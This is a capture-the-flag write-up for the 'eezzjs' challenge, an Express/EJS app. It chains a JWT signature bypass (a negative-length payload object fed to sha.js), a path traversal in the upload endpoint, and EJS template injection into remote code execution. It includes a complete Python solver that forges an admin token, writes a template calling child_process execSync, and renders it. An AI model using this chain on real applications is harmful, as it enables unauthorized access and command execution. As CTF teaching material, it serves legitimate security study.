eezzjs — Auth Bypass + Path Traversal → EJS RCE
This challenge chains multiple misconfigurations in a small Express app to achieve RCE and read the flag.
- Stack: Node.js, Express, EJS, sha.js
- Targets:
- JWT signing and verification in auth.js
- Upload endpoint and view rendering in app.js
High-Level Exploit Chain
- JWT auth bypass:
- Custom "JWT" signature is computed as
sha256(JSON.stringify(header), payloadObject, secret). - sha.js's
update()accepts non-string inputs and treats objects with alengthproperty as array-likes. - By supplying a payload object with a crafted negative
length, theupdate(payload)step becomes a no-op internally. With a particular call pattern, the digest is forced to the library's "empty feed" state. - Use the constant "magic" hex digest that matches the server's recomputed signature in
verifyJWT(...).
- Path traversal write primitive:
- POST /upload writes
filedatatopath.join(uploadDir, filename), only blocking filenames containingjs(regex on the extension). filename="../../app/views/exploit_<nonce>.ejs/a/.."escapes/uploadsand writes an EJS template into the app'sviewsfolder.
- EJS template rendering:
- GET
/takes a query parametertempl=<name>and callsres.render(templ, ...). - Render our uploaded
exploit_<nonce>.ejsto execute server-side JS and read the flag.
Vulnerable Code Highlights
- Signature construction (auth.js):
// signJWT(...) sha256(...[JSON.stringify(header), body, secret]) // body is an object here
- Signature verification (auth.js):
// verifyJWT(...) const expected = sha256(...[JSON.stringify(header), payload, secret]) // payload is an object
- Upload sink (app.js):
var filepath = path.join(uploadDir, filename); // traversal not blocked if (/js/i.test(ext)) deny(); // only looks for "js" in extension, .ejs allowed fs.writeFile(filepath, filedata, 'base64', cb);
- Templating sink (app.js):
// GET / const templ = req.query.templ || 'index'; res.render(templ, { filenames: fs.readdirSync(lsPath), path: req.path });
Working Solver
This script:
- Forges a JWT by setting a payload with a negative
lengthso the server's recomputation yields a predictable "magic" digest.
- Uploads an EJS gadget outside
/uploadsintoviews/.
- Renders it to execute arbitrary code and print the flag.
Note: The example reads /flag. In your container, start.sh writes the flag to /ffffffflag. Switch FLAG_PATH accordingly.
import base64 import httpx from secrets import token_hex def b64url(b: bytes) -> str: return base64.urlsafe_b64encode(b).rstrip(b"=").decode("ascii") def main(): # Change to the target host url = "<http://127.0.0.1:3000>" # url = "<http://60.205.163.215:25217>" c = httpx.Client(base_url=url, timeout=15.0) # 1) Forge JWT header = b'{"alg":"HS256","typ":"JWT"}' # The body is chosen so that verifyJWT's sha256(JSON.stringify(header), payloadObj, secret) # falls into the "empty feed" signature state for the library/version used server-side. # The negative length is the key; the constant below is the matching "magic hash". body = b'{"length":-%d,"username":"admin"}' % (len(header) + 18) MAGIC_EMPTY_STATE_SHA256 = "674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1" token = b64url(header) + "." + b64url(body) + "." + MAGIC_EMPTY_STATE_SHA256 c.cookies.set("token", token) print(f"[+] token = {token}") # 2) Upload EJS to views via traversal FLAG_PATH = "/ffffffflag" # change to "/flag" if the infra uses that path ssti = f""" <% const cp = (Function('return process'))().mainModule.require('child_process'); const out = cp.execSync('cat {FLAG_PATH}').toString('utf8'); %> <pre><%= out %></pre> """.strip().encode() nonce = token_hex(2) target_name = f"../../app/views/exploit_{nonce}.ejs/a/.." # normalize → /app/views/exploit_*.ejs r = c.post( "/upload", json={ "filename": target_name, "filedata": base64.b64encode(ssti).decode(), }, ) print(f"[+] upload status = {r.status_code}") if r.status_code == 302: raise SystemExit("[-] got redirected to /login → forged token failed") # 3) Render our template r = c.get("/", params={"templ": f"exploit_{nonce}.ejs"}) print("[+] Response:") print(r.text) if __name__ == "__main__": main()